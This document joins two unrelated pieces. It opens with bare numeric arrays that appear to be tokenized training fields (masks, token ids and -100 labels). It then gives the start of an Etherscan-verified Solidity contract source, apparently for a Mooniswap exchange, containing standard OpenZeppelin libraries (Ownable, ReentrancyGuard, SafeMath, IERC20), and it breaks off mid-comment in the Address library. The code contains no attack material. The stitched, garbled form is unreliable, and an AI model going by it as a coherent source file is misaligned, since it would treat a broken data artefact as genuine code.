0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
31792,
6527,
1435,
3903,
1476,
1135,
261,
5749,
18,
12586,
3778,
16,
11322,
18,
12586,
3778,
13,
288,
203,
3639,
327,
261,
6889,
6672,
607,
6527,
16,
1026,
6672,
607,
6527,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2020-08-10
*/
/*
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXK0OxdoollccccclodkOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0kdlc;'.. .,:loxkk0KXNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNKkoc,.. .':ox0XNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOd:'. .;lxKNWMMMMMMMMMMMMMMMWWNNNNNNNNWWWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOo:. .,lkXWMMMMMMMMMWXKOxddol:;;,''.....'',,;:cldxO0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXxc' .;d0NMMMMMMMWXOxl:,.. ..,:ldOKNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXx:. .;dKWMMMMMWN0dc,. .,cdOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNkc. 'l0NMMMMMN0d:'. .:d0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMW0o' .;xXMMMMMNOo,. .....''',,'''.... .'lkXWMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMNOc. .:kNMMMMW0o, ..,:loxk0KKXXNNNWWWNNNNXKK0kxol:,.. .cONMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMNk;. .;ONMMMMXx;. .,cdkKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOdc;. ,oKWMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMNk; ,kNMMMW0l. ':dOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOd:' .cOWMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWO: .dXMMMW0c. .;oONWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOo;. .:ONMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMWKc. :0WMMWKl. .;dKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNWMMMMMMMMMMWKx:. .:OWMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMNx. .dNMMMXd. ,o0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0kxOXWMMMMMMMMWKd;. .cKWMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMW0: ,OWMMWO, .:kNMMMMMMMMMMMMMMMMMMMMMMWWWWMMMMMMMMMMMMMMMMMMMMMMMMMMWXxc,:d0NMMMMMMMMNOc. .xNMMMMMMMMMMMMMM
MMMMMMMMMMMMMNx. :KMMMXo..c0WMMMMMMMMMMMMMMMMMMMMXxl:;,;;:codkKNMMMMMMMMMMMMMMMMMMMMMMNk;..,o0WMMMMMMMWKo. :KMMMMMMMMMMMMM
MMMMMMMMMMMMXl. cXMMW0:.c0WMMMMMMMMMMMMWWNNXXXNNWXd'..;;'.. .,lkNMMW00NMMMMMMMMMMMMMMMNk; .;dKWMMMMMMWKo. 'kWMMMMMMMMMMM
MMMMMMMMMMMK: cXMMWk;;OWMMMMMMMMMN0xoc;,'.....';cll'.oKNX0xol, ,xXNc.,xXMMMMMMMMMMMMMMMNx' .l0WMMMMMMWKl. .dNMMMMMMMMMM
MMMMMMMMMM0; cXMMWk:dXMMMMMMMMW0o,. ..,:clllllcc:;,..;0WMMMMNO:. ;Ol. ;0MMMMMMMMMMMMMMMMXl. .:OWMMMMMMWO; .lNMMMMMMMMM
MMMMMMMMM0, ;KMMWklkNWMMMMMMMKl. .';coxOXWMMMMWNKOdxKWMMMMMWk, .:l: ,0MMMMMMMMMMMMMMMMWO, .c0WMMMMMMXo. lXMMMMMMMM
MMMMMMMM0, '0MMNx,''lXMMMMMWk' .,cdxkkkxdxxOKXWMMMMMMWNXNMMMMMM0, .kK; cNMMMMMMN0XMMMMMMMMKc .oXMMMMMMWO, lNMMMMMMM
MMMMMMM0; .xWMKc. . .kWMMMNd. .l0NMMMMMMMMMMWNXNWMMMMMMMWNNWMMMMMk. 'OWd. .OMMMMXx:oXMMMMMMMMMNo. ,kWMMMMMMK: .dWMMMMMM
MMMMMMX: cXM0; .l0o..:ool, .lKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX; ;XMO. .dWWKo'.:KMMMMMMMMMMMWx. .oXMMMMMMXc .kWMMMMM
MMMMMNl .OMX: .oNMWOc'...':dKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNc.dWMO. lOl. ,0MMMMMMMMMMMMMWx. :KMMMMMMXl ;KMMMMM
MMMMWx. lNMx. ;XMMMMMNXKXNWMWNWMMMMMMMMMMMMMMMXO0WMMMMMMMMMMMMMMMK::XMWx. ...'.'OMMMMMMMMMMMMMMMWd. ;0MMMMMMXc oWMMMM
MMMMK, .kMNl cNMMMMMMMWNX0kxONMMMMMMMMMMMMMMWd..,cok0NWMMMMMMMMM0xKMMX; .cd;'kWMMMMMMMMMMMMMMMMNo ,0MMMMMMK: '0MMMM
MMMWo .cl:. .,ooolllllc::ld0WMMMMMMMMMMMMMMMNl .':oOXNMMMMMWMMWO: ;d00:.xWMMMMMMMMMMMMMMMMMMX: ;KMMMMMM0' oWMMM
MMM0' .':ok0KKK0OkxxkOKNWMMMMMMMMMMMMMMMMMMWo ..;OWMMMMWO:. ,OWK:.dWMMMMMMMMMMMMMMMMMMMMO' :XMMMMMWd. ,KMMM
MMWo .l0NWMMMMMMMMMMMMMMMMMMMMMMMMWXKWMMMMW0o' .kWMWO:. .cOOOO:.oNMMMMMMMMMNXWMMMMMMMMMWo .oWMMMMMX: .kMMM
MMK, .OMMMMMMMMMMMMMMMMMMMMMMMMN0d:.cXMMMKc. .ok:. ..;KMMX:.lNMMMMMMMMMWxlKMMMMMMMMMM0, 'OMMMMMWk. oWMM
MMx. 'OXXNMMMMMMMMMMMMMMMMMWXkl,. lWMWO' ,O0dd0Kc .kMMMMMMMMMWk' cXMMMMMMMMMWl lNMMMMMX; cNMM
MNl .dOKNMMMMMMMMMMMMMMWKxc. lWM0, 'xXWN0: ;0MMMWN0xl,. 'cdOXWMMMMMk. 'OMMMMMWd. ;XMM
MX; ;XMMMMMMMMNOkXMMWKx;. ,KWo .:c, ;KMMWN0ko;. 'cdOXWMMMMMK, dWMMMMMO. ,KMM
M0' ,KMMMMXKN0:.oWW0c. ;d; lNMMMMMMWO'.dNMMMMMMMMMMNc :XMMMMMK, ;KMM
MO. '0MMM0lkO, 'ONd. .oNMMMMMMWkdNMMMMMMMMMMMWo ,KMMMMMX: ;XMM
Mk. .OMM0,,x; ;Ol ..',. ;KMMMMMMMNNMMMMMMMMMMMMWo '0MMMMMNc cNMM
Mx. .dW0, ,:. ,c. .:0Xk:. lNMMMMMMMMMMMMMMMMMMMMMWo .OMMMMMNc oWMM
Mk. c0: .. . .,xOd0NO; '0MMMMMMMMMMMMMWWMMMMMMMWo .OMMMMMN: .kMMM
Mk. .:. .,. .cx: .lKXl lWMMMMMMMMMMMWNxlONMMMMMNc '0MMMMMX; ;XMMM
M0' .:c. .. .,:;,,l0Xl .xMMMMMMMMMMMWNk,.:ONMMMMX; ;XMMMMM0' .dWMMM
MK; 'dl. .....''',:k0d;. oWMMMMMMMMMMMMWOo0MMMMMMO. oWMMMMMx. ,KMMMM
MNc :kl. ...... ,c;. :XMMMMMMMMMMMMMWWWMMMMMWo .kMMMMMNc .dWMMMM
MWd. c0l. .OMMMMMMMMMMMMMMMMMMMMMK; :XMMMMMO' :XMMMMM
MM0' :0d. . lNMMMMMMMMMMMMMMMMMMMWd. .kMMMMMNl '0MMMMMM
MMNl '0k. .. 'c. .OMMMMMMMMMMMMMMMMMMM0, lNMMMMMO. .kWMMMMMM
MMMO. .dK; ;0O; :d' ;KMMMMMMMMMMMMMMMMMNl ,KMMMMMX: .xWMMMWXNM
MMMNc ,0d. .OMMNk:. .x0xo, cXMMMMMMMMMMMMMMMWd. 'OMMMMMNo .dWMMMWOkNM
MMMMO' c0; .dWMMMMW0l. ;dooxl. :0WMMMMMMMMMMMMWk. .kWMMMMWx. .xWMMMWxc0MM
MMMMWd. ok. :XMMMMMMMWO, .:dc 'OWMMMMMMMMMMWO' .kWMMMMWk. 'kWMMMNo,dWMM
MMMMMX: cd. .kWMMMMMMMMWk. .. .,cc. :XMMMMMMMMMWk' 'OWMMMMWk. :0MMMMKc.cXMMM
MMMMMM0, .'. :XMMMMMMMMMMNc 'c;ll. .. .OMMMMMMMMWx. :KMMMMMNx. .oNMMMWO, ;KMMMM
MMMMMMWO' .xWMMMMMMMMMMMk:. ,0KOOc .OMMMMMMMNo. .oXMMMMMXo. ;OWMMMXl. 'OMMMMM
MMMMMMMWk. ,0MMMMMMMMMMMMX0: .:d00l. lNMMMMMW0: ;OWMMMMW0: 'xNMMMNk, 'OWMMMMM
MMMMMMMMWx. :XMMMMMNNMMMMMMWk. .',. 'xNMMMMMNx. ,xNMMMMMNx. .oXMMMWO:. 'OWMMMMMM
MMMMMMMMMWk. cNMMMMNdxNMMMMMMWO:. .;xXMMMMMWO: 'dXMMMMMWO; .oKWMMW0c. 'OWMMMMMMM
MMMMMMMMMMWO, cNWNKk:..:kKNWMMMMWKxc'. .,oONMMMMMW0c. .;xXMMMMMWKl..,dXWMMNOc. ;0WMMMMMMMM
MMMMMMMMMMMMK: cNWN0o' 'oONWMMMMMMMWN0dc;''';lxKNMMMMMMW0l. .cONMMMMMWKl'.ckNMMMNk;. cKMMMMMMMMMM
MMMMMMMMMMMMMXo. cNMMMMKccKMMMMMMMMMMMMMMMMWNNNWMMMMMMMMNOc. .:xXWMMMMMWOl;:dKWMMW0o' .dNMMMMMMMMMMM
MMMMMMMMMMMMMMWk' lNMMMMMXXMMMMMMMMMMMMMMMMMMMMMMMMMMMWKx;. .,lkXWMMMMMWXOdoxKWMMWKd;. ;OWMMMMMMMMMMMM
MMMMMMMMMMMMMMMMKl. oWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXkc,';lxKNMMMMMMMWX0OOXWMMN0d;. .oXMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMWk; lXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOxdxOXWMMMMMMMMMMMWNWMMWKxl,. .:0WMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMXd' .:ok0NWMMMMMMMMMMMMMMMMMMMMMMMWNWWMMMMMMMMMMMMMMMMWX0xl,. ,kNMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMXo. .':ldOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXKOdc;.. 'xNMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMWKo' .';ccldxO0KXXNWWWWWWWWWNNXKKOkxol:,.. ,xXMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMWXd, ....',,,,,,,,,'.... .;kNMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMNk:. .l0WMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKo,. .:xXWMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOo, .;dKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOo;. .:xKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKxc'. .;oOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0xl;. .':oOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOdl;'. ..,cokKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOxoc;,... ..';:ldk0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWXK0Okxdollcccc:::cccclloddkO0KXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
███╗ ███╗ ██████╗ ██████╗ ███╗ ██╗██╗███████╗██╗ ██╗ █████╗ ██████╗ ███████╗██╗ ██╗ ██████╗██╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗
████╗ ████║██╔═══██╗██╔═══██╗████╗ ██║██║██╔════╝██║ ██║██╔══██╗██╔══██╗██╔════╝╚██╗██╔╝██╔════╝██║ ██║██╔══██╗████╗ ██║██╔════╝ ██╔════╝
██╔████╔██║██║ ██║██║ ██║██╔██╗ ██║██║███████╗██║ █╗ ██║███████║██████╔╝█████╗ ╚███╔╝ ██║ ███████║███████║██╔██╗ ██║██║ ███╗█████╗
██║╚██╔╝██║██║ ██║██║ ██║██║╚██╗██║██║╚════██║██║███╗██║██╔══██║██╔═══╝ ██╔══╝ ██╔██╗ ██║ ██╔══██║██╔══██║██║╚██╗██║██║ ██║██╔══╝
██║ ╚═╝ ██║╚██████╔╝╚██████╔╝██║ ╚████║██║███████║╚███╔███╔╝██║ ██║██║██╗ ███████╗██╔╝ ██╗╚██████╗██║ ██║██║ ██║██║ ╚████║╚██████╔╝███████╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝
██████╗ ██╗ ██╗ ██╗██╗███╗ ██╗ ██████╗██╗ ██╗
██╔══██╗╚██╗ ██╔╝ ███║██║████╗ ██║██╔════╝██║ ██║
██████╔╝ ╚████╔╝ ╚██║██║██╔██╗ ██║██║ ███████║
██╔══██╗ ╚██╔╝ ██║██║██║╚██╗██║██║ ██╔══██║
██████╔╝ ██║ ██║██║██║ ╚████║╚██████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝
*/
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
